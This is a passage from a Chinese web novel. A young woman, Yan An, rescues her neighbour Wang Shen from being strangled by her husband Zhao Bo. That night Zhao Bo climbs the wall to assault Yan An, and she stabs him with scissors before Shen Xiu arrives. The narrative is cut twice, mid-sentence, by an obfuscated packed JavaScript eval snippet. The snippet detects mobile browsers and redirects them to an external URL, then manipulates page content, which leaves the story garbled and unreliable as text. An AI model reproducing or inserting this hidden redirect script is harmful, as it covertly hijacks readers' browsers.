何氏闻言，哪怕心头再是期盼，一想到养在身前十多年的孩子，一别便是数月，那眼泪止不住又朝外涌出，她紧紧攥住宴宁的手，哽咽道：“好孩子，阿婆什么也不求，但求你平安归家。” 宴安也走上前来，扶住何氏，朝着宴宁颤声道：“宁哥儿，一路平安，我与阿婆，在家中等你。” 宴宁与二人道别后，便登上身后驴车，身影慢慢消失在晨起的雾色之中。 往常宴宁因要早早去村学，到了傍晚才归，白日里也只是宴安与何氏二人，那时两人也不觉冷清，如今宴宁前脚一走，两人后脚回到家中，便觉这小院似也没有那般狭小，反倒觉得哪里都是空荡荡的。 何氏今晨为送宴宁，拄着拐走了不少路，回来后腿脚也疼，便歪倒在炕上，半晌都未能缓过劲儿。 宴安也不知她可否睡着，轻手轻脚去后院捡了鸡蛋，便回到棚下准备腌制咸鸡蛋。 宴宁此番赴京赶考，若回来得早，二月底三月初便可归乡，那时这坛里的鸡蛋刚好入味，若他高中，入了殿试，便是四月才归，这鸡蛋更是腌得透彻，鲜香流油最为可口。 平日里，宴安断不敢去腌鸡蛋，这咸鸡蛋最为耗盐，然年前沈修送来的东西里正好有包盐。 她思来想去，索性趁着宴宁赶考，腌上十来颗，不管他中与不中，寒窗苦读这么多年，又辛苦奔波数月，也该给她家宁哥儿吃些好的了。 宴安这边正在棚下腌着鸡蛋，却听那墙后传来了王婶与赵伯的争吵声。 起初，许是两人在屋中，声音还不算大，后来两人似是从屋中出来，站在院中争吵。 两家只一墙之隔，且此刻还是清晨，四处皆静，便叫被宴安听了个真切。 “真是个下贱胚子，赔钱货！” 赵伯此话一出，将宴安吓了一跳，也不知他在骂谁，便听他似又咬牙切齿道：“装什么黄花闺女，就她那身子，不知在县里睡了多少男人！” “赵福你还是不是个人！”王婶声音比赵伯低些，但明显是在强压火气，“你给我闭嘴，我家满姐儿清清白白，不容你胡言乱语！” 满姐儿二字一出，宴安心头咯噔一下，方知赵伯这些污言碎语，竟是在说自家女儿。 “闭嘴？”赵伯音量不减，反而更高，“老子不仅不闭嘴，还要去县里闹，去那药铺门前闹，让他家知道自己娶了个什么货色！” 听至此，宴安想到了祖母之前与她说的，满姐儿要与那县里表兄成婚的事。 原是因赵伯狮子开口，从中作梗，王婶便先将他瞒了去，想来是叫他得知了，这才会恼怒到如此地步。 果然，墙那边赵伯的声音愈发狰狞，“我的女儿我还做不了主了？她若敢不与我回来，我便打断她的腿!” “我让你们两个贱货瞧不起我？好啊，看我不逢人就说，我家那闺女是个贱种，夜里偷人，白日装贞，我看谁家还敢娶她，我看往后你们还怎么活！” 赵伯一路骂骂咧咧就要朝院门口走，王婶终是忍无可忍，嗷了一嗓子就朝他扑去，“我和你拼了！” 此话一出，隔壁顿时叮呤咣啷乱作一团，有赵伯发狠的声音，还有王婶吃痛的惊叫。 这么多年来，隔壁两人经常吵闹，可没有那次闹得如此凶，宴安头一次这般害怕。 她默了一瞬，当即搁下手中鸡蛋，就朝屋里跑去。 何氏未曾睡着，似也听到外面鸡飞狗跳，见她神色慌张，便出声询问，“这大清早的，是出了何事啊，可是隔壁又吵起来了？” 宴安将事情经过简单道出，何氏听得眉头直皱，“这哪里是当爹说出的话，这赵福真不是个东西。” “阿婆，现在怎么办啊？”宴安想起赵伯，便心头发堵，胃里也会翻涌，可在想到王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623711|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶从前露出的伤痕，还有方才院中的惨叫，心头便突突直跳。 何氏也不知该如何了，这两人打了大半辈子，她从前已是劝过，可根本无用，后来便也不再掺和。 “阿婆，这、这、这……万一闹出人命可如何是好啊！”宴安来到门前，一面听那隔壁动静，一面着急又问。 “不至于，你怕是多心了！他俩从前不就……” 然未等何氏说完，宴安便想起一事，“那王婶之间送给咱们了一小坛腌菜，那菜是吃完了，可坛子还在家中，不然我借着送坛子的工夫，去敲门看看？” “哎呦，这能成吗，别那赵福脾气上来，将你也欺负了？”何氏不是不心疼王婶，可比起王婶，她最为在意的还是宴安的安危，“若不然……去寻里正？” 宴安也在犹疑，然她似乎又听到一声惨叫，便不敢再耽搁下去，“不成，若等我将里正叫来，王婶还不知会被打成什么模样？” 说罢，她转身就要朝外走，何氏忙出声唤她，她只道：“阿婆放心，我不进院，只在外面看看！” 宴安跑去灶房，将那小坛子找到，临出灶房前，脚步却是一顿，回头朝那案板看去。 宴安跑到王婶家院门前时，里面已是没了王婶的叫声，但仍有那淅淅索索的声响传出，似是衣裳摩擦，又似有人在地上挣扎。 “王婶？” 宴安深吸口气，抬手叩门。 无人应声。 可就在她敲门的瞬间，院内忽然传来一阵剧烈的挣扎声，像是有人被死死捂住嘴，喉咙用力发出了呜呜咽咽的闷响。 宴安顿觉心头一揪，手心已是冒出冷汗，忙抬手用力敲门，“王婶？王婶！我是安姐儿！我阿婆要来还腌菜坛子！” 话音刚落，院内便猛然爆出一声撕心裂肺的哭嚎，“救命啊，杀……唔、唔！” 话音被骤然打断，宴安心尖猛地一颤，再也顾不得其他，用尽全身力气朝那院门撞去。 一下，两下，她肩膀撞得生疼，门闩也在吱呀作响。 她咬紧牙根，又是狠狠一幢，那陈旧的木门终是被“哐”地一声，撞开一道缝隙。 26.第二十六章 院内一片狼藉，锅碗瓢盆散落一地，那晾衣的绳子与衣衫也落在地上。 而那赵伯，正骑在王婶腰间，双手狠狠掐在她脖颈上。 “王婶！”宴安见此情形，一面惊呼，一面将手穿过门缝，去抽那半挂着已是变了形的门闩。 赵伯闻声抬眼，那双目被怒气烧得火红，眸中也全是狠戾，见宴安已是抽开门闩，便朝她吼道：“滚！老子家事，轮不到你管！” 宴安已是跑进院中，将背在身后的菜刀拿出，指着赵伯厉声喊道：“把手松开！” 她声音与神色却极其冷静，不见半分慌张，然只有她自己才知，她后背早已被冷汗浸湿，眼睫也在不住轻颤，然她双眼并未露出一丝怯懦。 赵伯何曾见过宴安如此模样，当即也被她唬住了几分，而身下王婶，那挣扎的力度似也愈发变弱，似再用上两分力，便要一命呜呼。 终于，他将双手松开，踉跄着从地上爬起。 宴安双眸坚毅，面色果决，并未将刀放下，而是一边用刀指着赵伯，一边慢慢走上前去。 王婶如获新生，不住地大口喘着粗气，脸上那涨红到极近发紫的面色，也终是开始渐渐褪下。 “他、他要……咳咳……要杀了我啊！” 王婶嗓音嘶哑，脸上满是血泪，发髻也早已散开，衣裳也被撕破了好几处。 “休要胡说！”赵伯朝地上啐了一口，那口水里也混着鲜血，“贱人！是你要杀老子，将老子牙都敲碎了！” 王婶欲要再争，宴安却是在她手臂上不重不轻掐了一下，王婶偏过头去，不再言语。 宴安不敢再待下去，扶住她赶忙就回了宴家。 刚一进屋，王婶便再也撑不住，扑在炕上嚎啕大哭，眼泪混着脸上的血，不住朝下滚落，“老婶子你是不知，那狗东西今日是要我死啊！” 何氏原本还以为是宴安多心了，这二人不过又如从前般打打闹闹，何曾想过竟到了如此地步。 “哎呀！怎么还动了刀？安姐儿啊，你、你可伤到了？”何氏看到宴安手上的刀，当即便吓白了脸色。 宴安直到此刻，依然心有余悸，但她不愿祖母忧心，强撑着稳住心绪，摇头道：“没……没有伤到，这刀只是吓唬赵伯用的。” 说着，她将刀放到里间桌案，也没用帕巾，只用衣摆擦着手上细汗。 何氏见她无事，松了口气，又开始安抚王婶，拿着帕子帮她擦额角血迹，“怎个成了这副样子啊？” “若非你家安姐儿去寻我，我怕是要死在他手中了！”王婶慢慢坐起身，哽咽着朝何氏诉说委屈，“家丑本不该外扬，可我从不拿你们当外人，我家那死东西，平日里糟践我就罢了，可我家满姐儿，眼看就要成婚，他竟要去外头毁她名声！呜呜呜……哪个当娘的能咽下这口气？” “天爷啊……造孽不是？”何氏听得连连摇头，再看她脖颈上的红痕，更觉触目惊心。 “我能忍他这么多年，就是为了我家满姐儿，如今好不容易盼到她嫁人，我怎能叫那狗东西给毁了！” 王婶哭了一阵，终是勉强将心绪平复，期间宴安一直未曾吭声，只默默给她倒了水，又湿了帕巾递去她手边。 简单擦洗之后，发髻也重新梳好，宴安这才问她往后要如何。 她坐在炕边，眼神发直，许久后，低哑着声道：“我去寻满姐儿。” 王婶不愿再待下去，生怕那赵伯何处想不通，又来宴家闹，倒不如先去县里，寻到满姐儿，与她通个气，看是躲是走，总得有个章程。 王婶摇晃着站起身来，宴安忙从柜中取了银钱给她，“这大冷天的，婶子若要去县里，还是雇个牛车罢。” 王婶没有推拒，她方才出来的急，顾不上收拾，此刻身无分文，只得先将钱收了，“好安姐儿，等我回来后，再将钱还你。” 宴安将她送到门口，还未开门，手又被王婶握住，她嗓音压得极低道：“好孩子，这几日……你同你阿婆把门窗都关紧了，若听见他来敲门，切莫去开，一个缝都开不得，那人就是个坏种，今日被你拿刀逼退，指不定何时脑子一抽，又要寻宴家闹事。” 原本宴安还能强壮镇定，听完此话，更加后怕，待送走王婶回了屋中，又将这些说给了何氏听。 何氏听后，也觉不安，可家中只她们二人，除了将那门窗关紧，夜里不要睡得太沉外，别无他法。 两人正在屋里说话，院外倏然传来叩门声，将两人皆是吓了一跳。 宴安熟悉这敲门的声音，心知是沈修来了，但有了前车之鉴，不敢轻易开门，待来到门后，出声询问，确认外间之人是沈修无误，这才将门打开。 看到宴安的第一眼，沈修觉出了不对劲来，“出了何事？” 见她未曾回答，而是先神色匆匆先插了门，又沈修便更觉奇怪，“安娘，到底怎么了” 这声安娘，唤得宴安倏地一愣，抬眼朝他看来。 沈修似也是话出口后，方才惊觉，可既是说出，便没有收回的道理。 “往后……可否这般唤你？” 他温润的嗓音里，透着几分小心翼翼地试探，似怕哪个字没说对，让她受了惊吓。 宴安心里本就乱作一团，又被他这般一问，竟一时怔懵到不知所措。 沈修见她默不作声，便以为是在默认，便温下声道：“那往后……我便如此唤你。” “啊……这……”宴安犹豫着缓缓开口，然还未说出，那在屋中久等不见宴安回来的何氏，有些坐不住了，朝外喊道：“安姐儿？是何人啊？” 宴安忙与祖母回话道：“是沈先生！” 说罢，便先将沈修往屋里请。 何氏见到沈修，就如同见到救星，赶忙将方才隔壁之事与他说了一遍。 说完，她又将心头忧虑道出，“要说两家平日也是极为和睦的，可这出了这档子事，家中只剩我这把老骨头和安姐儿，我这心啊，总觉得七上八下的……” 沈修闻言，眉头紧锁，目光落在宴安脸上，她虽强作审定，可那泛白的面色哄不了人。 沈修心头一紧，当即便开口道：“阿婆放心，这几日我每日早晚皆来一趟，白日进屋说话，夜里……” 从前宴宁尚在家中，身为师长他来宴家也算合乎情理，可如今宴宁不在，他身为外男，夜里若频频来寻，到底有些不成体统。 沈修默了一瞬，抬眼看向宴安，轻道：”夜里我过来，不进院子，只在外面朝里看，若见棚角传出光亮，门闩也是完好，我便知无事，即刻回去。” 何氏眼中含泪，连连应谢，“那可会太过劳烦先生？” 沈修笑着摆手，“沈家就在西南角，与宴家不过百步之遥，算不上麻烦，便当做是饭后消食罢。” 宴安欲言又止，然左思右想，似也只有此法可行。 “那便劳先生费心了。”宴安低声说完，忽又想起一事，“先生今日过来，可是有何要事？” 沈修心道，若无要紧事，便不能寻她么？ 然他只是心中想想，面上还是如实回道：“我知宴宁初十赴京，今晨特意从县里赶回来想送他一程，没想还是错过了。” 宴安闻言，眼睫微垂，“宁哥儿走得急，天未亮就上了驴车，便是与先生错过，他心中定也会万分感念的。” 沈修唇角微弯，望她的眸光愈发柔和。 沈修临走前，特意在院子里与宴安说话，那声音故意比平日里扬高几分，说待夜里再送些东西过来。 宴安心知他这是故意说给隔壁听的，便配合着应声。 沈修走后，白日里宴家便未再来人，小院静悄悄的，隔壁也未见再有何异动。 到了夜里，宴安从柜中取出一红色巴掌大的小灯笼，挂在院中那棚角处。 宴安也不知沈修何时会来，只知这院子土墙不高，夜里点了灯笼，他若来时，只稍一抬眼，便能看到光亮。 沈修未曾与旁人说，只道身子不适，叫小厮帮他将后面几日行程全部推了。 他是晌午不到巳时，从宴家离开的，到了午时用过饭后，便说要外出走动，特地拐到宴家门前，未曾叩门，而是静静等了片刻，见里面未有已响，才又回到家中。 未时，沈修再次寻来，同样没有叩门。 申时，酉时，戌时……几乎每过一个时辰，沈修皆会出现在宴家门外。 到了亥时，看到那盏灯笼将院里照出一角光亮，沈修倏然觉得安心不少，然他并未立即离去，而是唇角带着抹温润的弧度，踩着月色，在门前静默等候。 夜里风寒，沈修却并不着急离去，甚至待得比白日来时更久了些。 也不知到底过了多久，四周只剩一片寂静，他才终是提步离开。 宴安今晚注定睡不踏实，她但凡合了眼，眼前便时而是赵伯坐在王婶身上，怒目圆睁地掐着她脖颈发狠的模样…… 时而是王婶扑在炕边满脸血泪的哭诉…… 时而又是赵伯浑身酒气，不住往她怀里扑的画面…… 还有她今日手持菜刀，冲着赵伯呵斥时，那刀柄沾着冷汗的黏腻感，也无比清晰…… 宴安猛地睁开了眼，四周一片漆黑，也不知此刻是何时，但听阿婆呼吸沉稳冗长，想来已是到了深夜。 她下意识抬眼去看屋中那布帘，然宴宁不在，布帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630896|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并未拉上，那里间空空荡荡，一片幽暗。 宴安头一次这般想念宴宁。 若他在家，她应当不会这般害怕。 宴安正想着宴宁，便听院子里似是传来了一声奇怪的响动。 她心头倏然一紧，呼吸即刻屏住，侧耳细听。 又是咯吱一声，就在那棚子的方向。 她咬紧下唇，倏地一下坐起身来，她睡前就将一把剪刀压在了枕下，此刻便拿着那剪刀，慢慢下炕，将房门推开一道细缝，朝外看去。 在棚角那灯笼微弱的光亮下，她看到棚后土墙上，竟露出一个头来。 宴安一眼认出，那正是赵伯！ 他竟是要翻墙过来！ 眼看赵伯已是露出半个身子，就要骑上墙头，宴安后脊猛然一凉，拿着那剪刀便冲了出来。 月色下，赵伯冒着酒气，摇头晃脑地朝宴安□□，“安姐儿啊，还没睡呐？” “你、你做什么？！”宴安心头虽惧，但还是厉声喝道，“你再这般，我便叫人了！” 赵伯嗤笑一声，竟又往爬了一截，“叫啊！这西头可就住了咱们两户，你就是将喉咙喊破，也没人应声，便是来了人……”他说着，打了个酒嗝儿，嘿嘿一笑，“我就说是你勾搭我，说你夜夜都在墙头等我，到时候损了名节的可是你，不是我！” 宴安胃里顿时泛起一阵恶心。 她曾一遍又一遍告诉自己，那日是赵伯喝醉了，不过只是个误会罢了，她不该太过在意，可如今看到这一幕，又听了这番话，她终是明白过来，那日的赵福是借酒装醉，故意要欺负于她！ 见宴安似是愣住，未再出声，赵福便以为是被他三言两语唬住了，于是便笑得愈发得意，“阿伯知道你是好孩子，这些年阿伯可没少关照你们，做人不能忘本，你便乖乖陪陪阿伯，就陪阿伯聊上两句，就当是报恩了……来，让阿伯好好瞧瞧咱家安姐儿……” 赵福想到那日扑上前去，那鼻尖沾上的清香，还有那绵软的触感，便已是涎水直流。 眼看他猛地一撑，彻底坐上墙头，翻个身子便能落地。 宴安脑中顿时嗡了一声，似空白了般，只剩下一个念头，不能叫他进到院中！ 宴安立即提步跑到墙边，顺手操起白日晾衣的竹竿，用尽全身力气朝着赵伯腰间狠狠就是一挥。 赵福本就喝了酒，身形不稳，被狠敲了一下，疼得嗷嗷直叫，瞬间生出恼意，一把将那竹竿抓在手中，“小贱人，竟敢打老子！” 宴安不敢松手，便死死攥着竹竿，与他来回拉扯，然她到底是个女子，那赵伯也才刚四十出头，有的是力气，那竹竿眼看要被他夺走，宴安索性要紧牙关，将另一手的剪刀高高举起，对准赵福的大腿狠狠扎去。 赵福哑然失声，直抽冷气，整个身子也跟着在那墙头猛然一晃，直接一头攮进宴家院中。 “咚！” 一声闷响，周遭一切仿若瞬间凝固。 宴安手中竹竿已是不知在何时落在了脚边，那剪刀却还在她手中紧紧攥着，刀尖上的血珠，正一滴滴朝下滑落。 而她整个人僵在原地，没了魂魄般，就定定地站在那里。 屋内的何氏早已被惊醒，她正拄着拐一面喊着宴安，一面摸黑朝外寻来。 而院门外的沈修，也不知究竟是何时来的，此刻正也不住地叩着门，急切地唤着，“安娘，安娘……开门！是我！” 然宴安什么也听不见。 依旧怔怔地站在原地，盯着血泊中那一动不动的身影。 不知过了多久，身后的木门被猛然撞开。 沈修几步冲进院中。 见宴安完好地站在棚下，他心头正要一松，便立即被她脚前的身影引了目光。 在看到那人口中冒着鲜血，已是身形扭曲，一动不动之时，沈修用力合上了眼，深匀了几个呼吸，压下心头那惊涛骇浪，缓缓睁眼，一点一点试探性地挪步上前。 他来到她身侧，轻轻抬手落于她肩头。 就在那指尖落下的刹那，宴安猛然一颤，下意识举起手中剪刀，便要朝来人刺去，然当她回过头来，与那双熟悉的目光撞到一处时，似是瞬间回魂般，那心中所有的委屈与惊惧，再也压抑不住，全部翻涌而出。 剪刀“咣当”坠地。 眼泪如洪水决堤。 整个身子如被抽去筋骨，软软地朝下坠去。 沈修一把将她揽入怀中，紧紧将她按在身前。 他冷冷望着那已是没了生气的赵福，却是用那极尽温柔声音，轻哄着怀中微颤之人。 “别怕……安娘，有我在……没事的……没事的……”